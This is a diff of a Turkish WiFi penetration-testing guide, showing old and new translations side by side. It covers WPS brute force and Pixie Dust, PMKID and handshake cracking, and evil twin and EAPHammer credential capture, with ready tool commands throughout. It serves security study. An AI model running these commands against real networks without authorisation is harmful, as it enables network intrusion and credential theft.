Saldırı, **WPS PIN'in zayıflığını** istismar eder, özellikle ilk dört hanenin ifşası ve son hanenin kontrol toplamı rolü, brute-force saldırısını kolaylaştırır. Ancak, saldırganların agresif MAC adreslerini **engelleme** gibi brute-force saldırılarına karşı savunmalar, saldırıya devam etmek için **MAC adresi döngüsü** gerektirir.
|
||||
Saldırı, **WPS PIN'inin zayıflığını** istismar eder; özellikle ilk dört hanenin ifşası ve son hanenin kontrol toplamı olarak rolü, brute-force saldırısını kolaylaştırır. Ancak, saldırganların agresif MAC adreslerini **engelleme** gibi brute-force saldırılarına karşı savunmalar, saldırıya devam etmek için **MAC adresi döngüsü** gerektirir.
|
||||
|
||||
Bully veya Reaver gibi araçlarla WPS PIN elde edildikten sonra, saldırgan WPA/WPA2 PSK'sını çıkarabilir ve **kalıcı ağ erişimi** sağlayabilir.
|
||||
Bully veya Reaver gibi araçlarla WPS PIN'i elde edildikten sonra, saldırgan WPA/WPA2 PSK'sını çıkarabilir ve **kalıcı ağ erişimi** sağlayabilir.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**Akıllı Kaba Kuvvet**
|
||||
**Akıllı Kaba Güç**
|
||||
|
||||
Bu rafine yaklaşım, bilinen güvenlik açıklarını kullanarak WPS PIN'lerini hedef alır:
|
||||
|
||||
1. **Önceden keşfedilmiş PIN'ler**: Belirli üreticilere bağlı, standart WPS PIN'leri kullandığı bilinen PIN'lerin yer aldığı bir veritabanı kullanın. Bu veritabanı, MAC adreslerinin ilk üç oktetini bu üreticilere olası PIN'lerle ilişkilendirir.
|
||||
1. **Önceden keşfedilmiş PIN'ler**: Belirli üreticilere bağlı bilinen PIN'lerin yer aldığı bir veritabanını kullanın; bu üreticilerin standart WPS PIN'leri kullandığı bilinmektedir. Bu veritabanı, MAC adreslerinin ilk üç oktetini bu üreticilere ait olası PIN'lerle ilişkilendirir.
|
||||
2. **PIN Üretim Algoritmaları**: AP'nin MAC adresine dayalı olarak WPS PIN'lerini hesaplayan ComputePIN ve EasyBox gibi algoritmaları kullanın. Arcadyan algoritması ayrıca bir cihaz kimliği gerektirir ve PIN üretim sürecine bir katman ekler.
|
||||
|
||||
### WPS Pixie Dust saldırısı
|
||||
|
||||
**Dominique Bongard**, bazı Erişim Noktaları (AP'ler) ile ilgili gizli kodların, yani **nonce'ların** (**E-S1** ve **E-S2**) oluşturulmasında bir hata keşfetti. Bu nonce'lar çözülebilirse, AP'nin WPS PIN'ini kırmak kolaylaşır. AP, meşru olduğunu ve sahte (rogue) bir AP olmadığını kanıtlamak için PIN'i özel bir kod (hash) içinde açığa çıkarır. Bu nonce'lar, WPS PIN'ini saklayan "kasa"yı açmanın "anahtarları" gibidir. Bununla ilgili daha fazla bilgi [burada](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>) bulunabilir.
|
||||
**Dominique Bongard**, bazı Erişim Noktaları (AP'ler) ile ilgili gizli kodların oluşturulmasında bir hata keşfetti; bu kodlara **nonce** denir (**E-S1** ve **E-S2**). Bu nonceler çözülebilirse, AP'nin WPS PIN'ini kırmak kolaylaşır. AP, meşru olduğunu ve sahte (rogue) bir AP olmadığını kanıtlamak için PIN'i özel bir kod (hash) içinde açığa çıkarır. Bu nonceler, WPS PIN'ini saklayan "kasayı" açmanın "anahtarları" gibidir. Bununla ilgili daha fazla bilgi [burada](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
|
||||
Basit terimlerle, sorun bazı AP'lerin bağlantı sürecinde PIN'i şifrelemek için yeterince rastgele anahtarlar kullanmamasıdır. Bu, PIN'in ağın dışından tahmin edilmesine (offline kaba kuvvet saldırısı) karşı savunmasız hale getirir.
|
||||
Basitçe ifade etmek gerekirse, sorun bazı AP'lerin bağlantı sürecinde PIN'i şifrelemek için yeterince rastgele anahtarlar kullanmamasıdır. Bu, PIN'in ağın dışından tahmin edilmesine (offline kaba güç saldırısı) karşı savunmasız hale getirir.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
@ -224,7 +224,7 @@ Cihazı izleme moduna geçirmek istemiyorsanız veya `reaver` ve `bully` ile ilg
|
||||
```
|
||||
### Null Pin saldırısı
|
||||
|
||||
Bazı kötü tasarlanmış sistemler, erişim izni vermek için **Null PIN** (boş veya var olmayan PIN) kullanılmasına bile izin verir, bu oldukça alışılmadık bir durumdur. **Reaver** aracı, bu zafiyeti test etme yeteneğine sahiptir, **Bully** ise bunu yapamaz.
|
||||
Bazı kötü tasarlanmış sistemler, **Null PIN** (boş veya mevcut olmayan PIN) ile erişim sağlamaya izin verir, bu oldukça alışılmadık bir durumdur. **Reaver** aracı, bu zafiyeti test etme yeteneğine sahiptir, **Bully** ise bunu yapamaz.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
@ -254,7 +254,7 @@ Artık çok kırık ve kullanılmıyor. Sadece _**airgeddon**_'un bu tür bir ko
|
||||
|
||||
### PMKID
|
||||
|
||||
2018'de, **hashcat** [açıkladı](https://hashcat.net/forum/thread-7717.html) yeni bir saldırı yöntemini, çünkü sadece **bir tek paket** gerektiriyor ve hedef AP'ye bağlı herhangi bir istemciye ihtiyaç duymuyor—sadece saldırgan ile AP arasında etkileşim gerekiyor.
|
||||
2018'de, **hashcat** [açıkladı](https://hashcat.net/forum/thread-7717.html) yeni bir saldırı yöntemini, çünkü bu yöntem sadece **bir tek paket** gerektiriyor ve hedef AP'ye bağlı herhangi bir istemciye ihtiyaç duymuyor—sadece saldırgan ile AP arasında etkileşim gerekiyor.
|
||||
|
||||
Birçok modern yönlendirici, ilişkilendirme sırasında **ilk EAPOL** çerçevesine `Robust Security Network` olarak bilinen **isteğe bağlı bir alan** ekler. Bu, `PMKID`'yi içerir.
|
||||
|
||||
@ -262,7 +262,7 @@ Orijinal gönderide açıklandığı gibi, **PMKID** bilinen veriler kullanılar
|
||||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Verilen "PMK Adı" sabit olduğundan, AP'nin ve istasyonun BSSID'sini bildiğimizde, `PMK` tam bir 4-yol el sıkışmasından gelenle aynı olduğundan, **hashcat** bu bilgileri kullanarak PSK'yı kırabilir ve şifreyi geri alabilir!
|
||||
Verilen "PMK Adı" sabit olduğundan, AP'nin ve istasyonun BSSID'sini bildiğimizde, ve `PMK` tam bir 4-yol el sıkışmasından elde edilenle aynı olduğunda, **hashcat** bu bilgileri kullanarak PSK'yı kırabilir ve şifreyi geri kazanabilir!
|
||||
|
||||
Bu bilgileri **toplamak** ve şifreyi yerel olarak **bruteforce** etmek için şunları yapabilirsiniz:
|
||||
```bash
|
||||
@ -276,16 +276,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||||
#You can also obtains PMKIDs using eaphammer
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
**PMKID'ler** **konsolda** gösterilecek ve ayrıca **/tmp/attack.pcap** içine **kaydedilecektir**.\
|
||||
**Yakalanan PMKID'ler** **konsolda** gösterilecek ve ayrıca \_ **/tmp/attack.pcap**\_ içinde **kaydedilecektir**.\
|
||||
Şimdi, yakalamayı **hashcat/john** formatına dönüştürün ve kırın:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Lütfen doğru bir hash'in **4 parça** içerdiğini unutmayın, örneğin: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Eğer sizin **sadece** **3 parça** içeriyorsa, o zaman bu **geçersizdir** (PMKID yakalama geçerli değildi).
|
||||
Lütfen doğru bir hash formatının **4 parça** içerdiğini unutmayın, örneğin: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Eğer sizin **sadece** **3 parça** içeriyorsa, o zaman bu **geçersizdir** (PMKID yakalama geçerli değildi).
|
||||
|
||||
`hcxdumptool` **aynı zamanda el sıkışmalarını** da **yakalar** (şu şekilde bir şey görünecektir: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). **El sıkışmaları** `cap2hccapx` kullanarak **hashcat**/**john** formatına **dönüştürülebilir**.
|
||||
`hcxdumptool` **aynı zamanda el sıkışmaları da yakalar** (şu şekilde bir şey görünecektir: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). **El sıkışmalarını** `hashcat`/**john** formatına `cap2hccapx` kullanarak **dönüştürebilirsiniz**.
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
@ -299,8 +299,8 @@ _Bu aracı kullanarak yakalanan bazı el sıkışmalarının doğru şifre bilin
|
||||
|
||||
**WPA/WPA2** ağlarına yönelik bir saldırı, bir **el sıkışma** yakalayarak ve şifreyi **çevrimdışı** **kırmaya** çalışarak gerçekleştirilebilir. Bu süreç, belirli bir ağın ve **BSSID**'nin belirli bir **kanalda** iletişimini izlemeyi içerir. İşte basit bir kılavuz:
|
||||
|
||||
1. Hedef ağın **BSSID**'sini, **kanalını** ve bir **bağlı istemciyi** belirleyin.
|
||||
2. Belirtilen kanal ve BSSID üzerinde ağ trafiğini izlemek için `airodump-ng` kullanın, bir el sıkışma yakalamayı umarak. Komut şöyle görünecek:
|
||||
1. Hedef ağın **BSSID**'sini, **kanalını** ve bir **bağlı istemcisini** belirleyin.
|
||||
2. Belirtilen kanal ve BSSID üzerinde ağ trafiğini izlemek için `airodump-ng` kullanın, bir el sıkışma yakalamayı umarak. Komut şöyle görünecektir:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
@ -318,7 +318,7 @@ Handshake yakalandıktan sonra, bunu `aircrack-ng` ile **çözebilirsiniz**:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
### Dosyada el sıkışmasını kontrol et
|
||||
### Dosyada el sıkışma olup olmadığını kontrol et
|
||||
|
||||
**aircrack**
|
||||
```bash
|
||||
@ -362,7 +362,7 @@ Bu kimlik doğrulama yöntemleri hakkında daha fazla bilgi bulabilirsiniz [bura
|
||||
|
||||
### Kullanıcı Adı Yakalama
|
||||
|
||||
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) adresinde okuduğuma göre, **EAP** kullanıyorsanız **"Kimlik"** **mesajlarının** **desteklenmesi** gerekir ve **kullanıcı adı**, **"Yanıt Kimliği"** mesajlarında **düz** olarak gönderilecektir.
|
||||
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) adresinde okuduğuma göre, **EAP** kullanıyorsanız **"Kimlik"** **mesajlarının** **desteklenmesi** gerekir ve **kullanıcı adı**, **"Yanıt Kimliği"** mesajlarında **düz metin** olarak gönderilecektir.
|
||||
|
||||
En güvenli kimlik doğrulama yöntemlerinden biri olan **PEAP-EAP-TLS** kullanılsa bile, **EAP protokolünde gönderilen kullanıcı adını yakalamak** mümkündür. Bunu yapmak için, **bir kimlik doğrulama iletişimini yakalayın** (bir kanalda `airodump-ng` başlatın ve aynı arayüzde `wireshark` kullanın) ve paketleri `eapol` ile filtreleyin.\
|
||||
**"Yanıt, Kimlik"** paketinin içinde, istemcinin **kullanıcı adı** görünecektir.
|
||||
@ -374,16 +374,16 @@ En güvenli kimlik doğrulama yöntemlerinden biri olan **PEAP-EAP-TLS** kullan
|
||||
Kimlik gizleme, hem EAP-PEAP hem de EAP-TTLS tarafından desteklenmektedir. Bir WiFi ağı bağlamında, EAP-Kimlik isteği genellikle erişim noktası (AP) tarafından ilişkilendirme sürecinde başlatılır. Kullanıcı anonimliğinin korunmasını sağlamak için, kullanıcının cihazındaki EAP istemcisinin yanıtı, ilk RADIUS sunucusunun isteği işlemek için gerekli olan temel bilgileri içerir. Bu kavram aşağıdaki senaryolarla açıklanmaktadır:
|
||||
|
||||
- EAP-Kimlik = anonim
|
||||
- Bu senaryoda, tüm kullanıcılar kullanıcı tanımlayıcıları olarak takma ad "anonim" kullanır. İlk RADIUS sunucusu, PEAP veya TTLS protokolünün sunucu tarafını yönetmekten sorumlu olan bir EAP-PEAP veya EAP-TTLS sunucusu olarak işlev görür. İç (korunan) kimlik doğrulama yöntemi ya yerel olarak ya da uzaktaki (ev) RADIUS sunucusuna devredilir.
|
||||
- Bu senaryoda, tüm kullanıcılar kullanıcı tanımlayıcıları olarak takma ad "anonim" kullanır. İlk RADIUS sunucusu, PEAP veya TTLS protokolünün sunucu tarafını yöneten bir EAP-PEAP veya EAP-TTLS sunucusu olarak işlev görür. İç (korunan) kimlik doğrulama yöntemi ya yerel olarak ya da uzaktaki (ev) RADIUS sunucusuna devredilir.
|
||||
- EAP-Kimlik = anonim@realm_x
|
||||
- Bu durumda, farklı alanlardan gelen kullanıcılar kimliklerini gizlerken kendi alanlarını belirtirler. Bu, ilk RADIUS sunucusunun EAP-PEAP veya EAP-TTLS isteklerini kendi ev alanlarındaki RADIUS sunucularına yönlendirmesine olanak tanır; bu sunucular PEAP veya TTLS sunucusu olarak işlev görür. İlk RADIUS sunucusu yalnızca bir RADIUS iletim düğümü olarak çalışır.
|
||||
- Alternatif olarak, ilk RADIUS sunucusu EAP-PEAP veya EAP-TTLS sunucusu olarak işlev görebilir ve ya korunan kimlik doğrulama yöntemini yönetebilir ya da başka bir sunucuya iletebilir. Bu seçenek, farklı alanlar için ayrı politikaların yapılandırılmasını kolaylaştırır.
|
||||
- Alternatif olarak, ilk RADIUS sunucusu EAP-PEAP veya EAP-TTLS sunucusu olarak işlev görebilir ve ya korunan kimlik doğrulama yöntemini yönetebilir ya da başka bir sunucuya iletebilir. Bu seçenek, farklı alanlar için farklı politikaların yapılandırılmasını kolaylaştırır.
|
||||
|
||||
EAP-PEAP'te, PEAP sunucusu ile PEAP istemcisi arasında TLS tüneli kurulduktan sonra, PEAP sunucusu bir EAP-Kimlik isteği başlatır ve bunu TLS tüneli aracılığıyla iletir. İstemci, bu ikinci EAP-Kimlik isteğine, kullanıcının gerçek kimliğini içeren bir EAP-Kimlik yanıtı göndererek yanıt verir. Bu yaklaşım, 802.11 trafiğini dinleyen herhangi birine kullanıcının gerçek kimliğinin ifşa edilmesini etkili bir şekilde engeller.
|
||||
|
||||
EAP-TTLS, biraz farklı bir prosedür izler. EAP-TTLS ile istemci genellikle PAP veya CHAP kullanarak kimlik doğrulaması yapar ve bu, TLS tüneli ile güvence altına alınır. Bu durumda, istemci, tünel kurulduktan sonra gönderilen ilk TLS mesajında bir Kullanıcı-Adı niteliği ve ya bir Şifre ya da CHAP-Şifre niteliği içerir.
|
||||
EAP-TTLS, biraz farklı bir prosedür izler. EAP-TTLS ile istemci genellikle PAP veya CHAP kullanarak kimlik doğrulaması yapar ve bu, TLS tüneli ile güvence altına alınır. Bu durumda, istemci, tünel kurulduktan sonra gönderilen ilk TLS mesajında bir Kullanıcı Adı niteliği ve ya bir Şifre ya da CHAP-Şifre niteliği içerir.
|
||||
|
||||
Seçilen protokolden bağımsız olarak, PEAP/TTLS sunucusu, TLS tüneli kurulduktan sonra kullanıcının gerçek kimliğini öğrenir. Gerçek kimlik, user@realm veya basitçe user olarak temsil edilebilir. Eğer PEAP/TTLS sunucusu aynı zamanda kullanıcıyı kimlik doğrulamakla da sorumluysa, artık kullanıcının kimliğine sahiptir ve TLS tüneli ile korunan kimlik doğrulama yöntemine devam eder. Alternatif olarak, PEAP/TTLS sunucusu, kullanıcının ev RADIUS sunucusuna yeni bir RADIUS isteği iletebilir. Bu yeni RADIUS isteği, PEAP veya TTLS protokol katmanını atlar. Korunan kimlik doğrulama yöntemi EAP olduğunda, iç EAP mesajları, EAP-PEAP veya EAP-TTLS sarmalayıcısı olmadan ev RADIUS sunucusuna iletilir. Çıkan RADIUS mesajının Kullanıcı-Adı niteliği, gelen RADIUS isteğinden anonim Kullanıcı-Adı ile değiştirilerek kullanıcının gerçek kimliğini içerir. Korunan kimlik doğrulama yöntemi PAP veya CHAP (yalnızca TTLS tarafından desteklenir) olduğunda, TLS yükünden çıkarılan Kullanıcı-Adı ve diğer kimlik doğrulama nitelikleri, çıkan RADIUS mesajında anonim Kullanıcı-Adı ve gelen RADIUS isteğindeki TTLS EAP-Mesajı niteliklerinin yerini alacak şekilde değiştirilir.
|
||||
Seçilen protokolden bağımsız olarak, PEAP/TTLS sunucusu TLS tüneli kurulduktan sonra kullanıcının gerçek kimliğini öğrenir. Gerçek kimlik, user@realm veya basitçe user olarak temsil edilebilir. Eğer PEAP/TTLS sunucusu aynı zamanda kullanıcıyı kimlik doğrulamakla da sorumluysa, artık kullanıcının kimliğine sahiptir ve TLS tüneli ile korunan kimlik doğrulama yöntemine devam eder. Alternatif olarak, PEAP/TTLS sunucusu kullanıcının ev RADIUS sunucusuna yeni bir RADIUS isteği iletebilir. Bu yeni RADIUS isteği, PEAP veya TTLS protokol katmanını atlar. Korunan kimlik doğrulama yöntemi EAP olduğunda, iç EAP mesajları, EAP-PEAP veya EAP-TTLS sarmalayıcısı olmadan ev RADIUS sunucusuna iletilir. Çıkan RADIUS mesajının Kullanıcı Adı niteliği, gelen RADIUS isteğinden anonim Kullanıcı Adı yerine kullanıcının gerçek kimliğini içerir. Korunan kimlik doğrulama yöntemi PAP veya CHAP (yalnızca TTLS tarafından desteklenir) olduğunda, TLS yükünden çıkarılan Kullanıcı Adı ve diğer kimlik doğrulama nitelikleri, çıkan RADIUS mesajında anonim Kullanıcı Adı ve gelen RADIUS isteğinde bulunan TTLS EAP-Mesaj niteliklerinin yerini alacak şekilde değiştirilir.
|
||||
|
||||
Daha fazla bilgi için [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) adresine bakın.
|
||||
|
||||
@ -407,7 +407,7 @@ Bu saldırıyı `eaphammer` kullanarak da gerçekleştirebilirsiniz:
|
||||
|
||||
- 802.11 protokolü, bir istasyonun Genişletilmiş Hizmet Seti'ne (ESS) nasıl katılacağını tanımlar, ancak bir ESS veya içindeki bir erişim noktasını (AP) seçmek için kriterleri belirtmez.
|
||||
- İstasyonlar, aynı ESSID'yi paylaşan AP'ler arasında gezinebilir, bir bina veya alan boyunca bağlantıyı sürdürebilir.
|
||||
- Protokol, ESS'ye istasyon kimlik doğrulaması gerektirirken, AP'nin istasyona kimlik doğrulaması yapmasını zorunlu kılmaz.
|
||||
- Protokol, ESS'ye istasyon kimlik doğrulaması gerektirir, ancak AP'nin istasyona kimlik doğrulaması yapmasını zorunlu kılmaz.
|
||||
|
||||
### Tercih Edilen Ağ Listeleri (PNL'ler)
|
||||
|
||||
@ -416,27 +416,27 @@ Bu saldırıyı `eaphammer` kullanarak da gerçekleştirebilirsiniz:
|
||||
|
||||
### Pasif Tarama
|
||||
|
||||
- AP'ler, varlıklarını ve özelliklerini duyuran sinyal çerçevelerini periyodik olarak yayınlar, AP'nin ESSID'sini de dahil eder, eğer yayın kapatılmamışsa.
|
||||
- AP'ler, varlıklarını ve özelliklerini duyuran sinyal çerçevelerini periyodik olarak yayınlar, AP'nin ESSID'sini yayınlamayı devre dışı bırakmadıkça.
|
||||
- Pasif tarama sırasında, istasyonlar sinyal çerçevelerini dinler. Eğer bir sinyalin ESSID'si istasyonun PNL'sindeki bir girişle eşleşirse, istasyon otomatik olarak o AP'ye bağlanabilir.
|
||||
- Bir cihazın PNL'sinin bilgisi, bilinen bir ağın ESSID'sini taklit ederek potansiyel istismar için olanak sağlar ve cihazı sahte bir AP'ye bağlanmaya kandırır.
|
||||
- Bir cihazın PNL'sinin bilgisi, bilinen bir ağın ESSID'sini taklit ederek potansiyel istismar için kullanılabilir ve cihazı sahte bir AP'ye bağlanmaya kandırabilir.
|
||||
|
||||
### Aktif Sorgulama
|
||||
|
||||
- Aktif sorgulama, istasyonların yakınlardaki AP'leri ve özelliklerini keşfetmek için sorgu talepleri göndermesini içerir.
|
||||
- Yönlendirilmiş sorgu talepleri, belirli bir ESSID'yi hedef alır ve belirli bir ağın menzil içinde olup olmadığını tespit etmeye yardımcı olur, hatta gizli bir ağ olsa bile.
|
||||
- Yayın sorgu talepleri, boş bir SSID alanına sahiptir ve tüm yakınlardaki AP'lere gönderilir, bu da istasyonun PNL içeriğini açıklamadan herhangi bir tercih edilen ağı kontrol etmesine olanak tanır.
|
||||
- Yönlendirilmiş sorgu talepleri, belirli bir ESSID'yi hedef alır ve belirli bir ağın menzil içinde olup olmadığını tespit etmeye yardımcı olur, hatta bu gizli bir ağ olsa bile.
|
||||
- Yayınlanan sorgu talepleri, boş bir SSID alanına sahiptir ve tüm yakınlardaki AP'lere gönderilir, böylece istasyon, PNL içeriğini ifşa etmeden herhangi bir tercih edilen ağı kontrol edebilir.
|
||||
|
||||
## Basit AP ile İnternete Yönlendirme
|
||||
|
||||
Daha karmaşık saldırıları nasıl gerçekleştireceğini açıklamadan önce, sadece bir **AP** oluşturmanın ve **trafik** yönlendirmesinin **nasıl** yapılacağı açıklanacaktır **İnternete** bağlı bir arayüze.
|
||||
|
||||
`ifconfig -a` kullanarak AP'yi oluşturmak için wlan arayüzünün ve İnternete bağlı arayüzün mevcut olduğunu kontrol edin.
|
||||
`ifconfig -a` komutunu kullanarak, AP'yi oluşturmak için wlan arayüzünün ve İnternete bağlı arayüzün mevcut olduğunu kontrol edin.
|
||||
|
||||
### DHCP & DNS
|
||||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
Aşağıdaki yapılandırma dosyasını oluşturun: `/etc/dnsmasq.conf`:
|
||||
`/etc/dnsmasq.conf` dosyasını oluşturun:
|
||||
```ini
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
@ -453,7 +453,7 @@ Sonra **IP'leri** ve **yolları** ayarlayın:
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
```
|
||||
Ve sonra **dnsmasq**'ı başlatın:
|
||||
Ve sonra **dnsmasq'ı** başlatın:
|
||||
```bash
|
||||
dnsmasq -C dnsmasq.conf -d
|
||||
```
|
||||
@ -498,7 +498,7 @@ Evil twin saldırısı, WiFi istemcilerinin ağları tanıma şekillerini istism
|
||||
|
||||
- **Ayrım Zorluğu**: Cihazlar, aynı ESSID ve şifreleme türüne sahip olduklarında meşru ve sahte erişim noktalarını ayırt etmekte zorlanır. Gerçek dünya ağları genellikle kapsama alanını kesintisiz uzatmak için aynı ESSID'ye sahip birden fazla erişim noktası kullanır.
|
||||
- **İstemci Geçişi ve Bağlantı Manipülasyonu**: 802.11 protokolü, cihazların aynı ESS içindeki erişim noktaları arasında geçiş yapmasına olanak tanır. Saldırganlar, bir cihazı mevcut temel istasyonundan ayırıp sahte birine bağlanmaya ikna ederek bunu istismar edebilir. Bu, daha güçlü bir sinyal sunarak veya meşru erişim noktasına olan bağlantıyı deauthentikasyon paketleri veya sinyal karıştırma gibi yöntemlerle keserek gerçekleştirilebilir.
|
||||
- **Uygulama Zorlukları**: Birden fazla, iyi yerleştirilmiş erişim noktasının bulunduğu ortamlarda evil twin saldırısını başarıyla gerçekleştirmek zor olabilir. Tek bir meşru erişim noktasını deauthentikasyon yapmak, genellikle cihazın başka bir meşru erişim noktasına bağlanmasına neden olur, saldırgan tüm yakın erişim noktalarını deauthentikasyon yapamazsa veya sahte erişim noktasını stratejik olarak yerleştiremezse.
|
||||
- **Uygulama Zorlukları**: Birden fazla, iyi yerleştirilmiş erişim noktasının bulunduğu ortamlarda evil twin saldırısını başarıyla gerçekleştirmek zor olabilir. Tek bir meşru erişim noktasını deauthentikasyon yapmak, genellikle cihazın başka bir meşru erişim noktasına bağlanmasına neden olur, saldırgan tüm yakın erişim noktalarını deauthentikasyon yapmadıkça veya sahte erişim noktasını stratejik olarak yerleştirmedikçe.
|
||||
|
||||
Çok temel bir Open Evil Twin (İnternete trafik yönlendirme yeteneği olmadan) oluşturabilirsiniz:
|
||||
```bash
|
||||
@ -508,17 +508,17 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
Ya da Airgeddon kullanarak: `Options: 5,6,7,8,9 (Evil Twin saldırı menüsü içinde).`
|
||||
Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
|
||||
|
||||
.png>)
|
||||
|
||||
Lütfen, varsayılan olarak PNL'deki bir ESSID WPA korumalı olarak kaydedilmişse, cihazın otomatik olarak Açık bir evil Twin'e bağlanmayacağını unutmayın. Gerçek AP'yi DoS yapmayı deneyebilir ve kullanıcının manuel olarak Açık evil twin'inize bağlanmasını umabilirsiniz, ya da gerçek AP'yi DoS yapabilir ve el sıkışmayı yakalamak için bir WPA Evil Twin kullanabilirsiniz (bu yöntemi kullanarak kurbanın size bağlanmasını sağlayamazsınız çünkü PSK'yı bilmiyorsunuz, ancak el sıkışmayı yakalayabilir ve kırmaya çalışabilirsiniz).
|
||||
Lütfen, varsayılan olarak PNL'deki bir ESSID WPA korumalı olarak kaydedilmişse, cihazın otomatik olarak açık bir evil twin'e bağlanmayacağını unutmayın. Gerçek AP'yi DoS yapmayı deneyebilir ve kullanıcının manuel olarak açık evil twin'inize bağlanmasını umabilirsiniz, ya da gerçek AP'yi DoS yapıp bir WPA Evil Twin kullanarak el sıkışmayı yakalayabilirsiniz (bu yöntemi kullanarak kurbanın size bağlanmasını sağlayamazsınız çünkü PSK'yı bilmiyorsunuz, ancak el sıkışmayı yakalayabilir ve kırmayı deneyebilirsiniz).
|
||||
|
||||
_Bazı işletim sistemleri ve antivirüs yazılımları, Açık bir ağa bağlanmanın tehlikeli olduğunu kullanıcıya bildirecektir..._
|
||||
_Bazı işletim sistemleri ve antivirüs yazılımları, açık bir ağa bağlanmanın tehlikeli olduğunu kullanıcıya bildirecektir..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
**WPA/2 kullanarak bir Evil Twin oluşturabilirsiniz** ve eğer cihazlar o SSID'ye WPA/2 ile bağlanacak şekilde yapılandırılmışsa, bağlanmaya çalışacaklardır. Her durumda, **4-yol el sıkışmasını tamamlamak için** ayrıca **müşterinin kullanacağı** **şifreyi bilmeniz** gerekiyor. Eğer **bilmiyorsanız**, **bağlantı tamamlanmayacaktır**.
|
||||
**WPA/2 kullanarak bir Evil Twin oluşturabilirsiniz** ve eğer cihazlar o SSID'ye WPA/2 ile bağlanacak şekilde yapılandırılmışsa, bağlanmaya çalışacaklardır. Her durumda, **4-yol el sıkışmasını tamamlamak için** ayrıca **müşterinin kullanacağı** **şifreyi bilmeniz gerekir**. Eğer **bilmiyorsanız**, **bağlantı tamamlanmayacaktır**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -545,7 +545,7 @@ Yapılandırma dosyasında ssid, kanal, kullanıcı dosyaları, cret/key, dh par
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Varsayılan olarak, EAPHammer bu kimlik doğrulama yöntemlerini amaçlar (ilk olarak düz metin şifrelerini elde etmeye çalışmak için GTC'yi ve ardından daha sağlam kimlik doğrulama yöntemlerinin kullanımını dikkate alarak):
|
||||
Varsayılan olarak, EAPHammer bu kimlik doğrulama yöntemlerini önerir (ilk olarak düz metin şifrelerini elde etmeye çalışmak için GTC'yi ve ardından daha sağlam kimlik doğrulama yöntemlerinin kullanımını dikkate alarak):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
@ -566,18 +566,18 @@ Or you could also use:
|
||||
|
||||
.png>)
|
||||
|
||||
### Evil Twins saldırılarında PEAP ve EAP-TTLS TLS tünellerinin hata ayıklanması
|
||||
### Evil Twins saldırılarında PEAP ve EAP-TTLS TLS tünellerini hata ayıklama
|
||||
|
||||
_Bu yöntem bir PEAP bağlantısında test edildi, ancak ben keyfi bir TLS tünelini şifre çözdüğüm için bu EAP-TTLS ile de çalışmalıdır._
|
||||
_Bu yöntem bir PEAP bağlantısında test edildi, ancak ben keyfi bir TLS tünelini şifrelediğim için bu EAP-TTLS ile de çalışmalıdır._
|
||||
|
||||
**hostapd-wpe** _konfigürasyonunun_ **içinde** _**dh_file**_ içeren satırı **yorumlayın** ( `dh_file=/etc/hostapd-wpe/certs/dh` yerine `#dh_file=/etc/hostapd-wpe/certs/dh` )\
|
||||
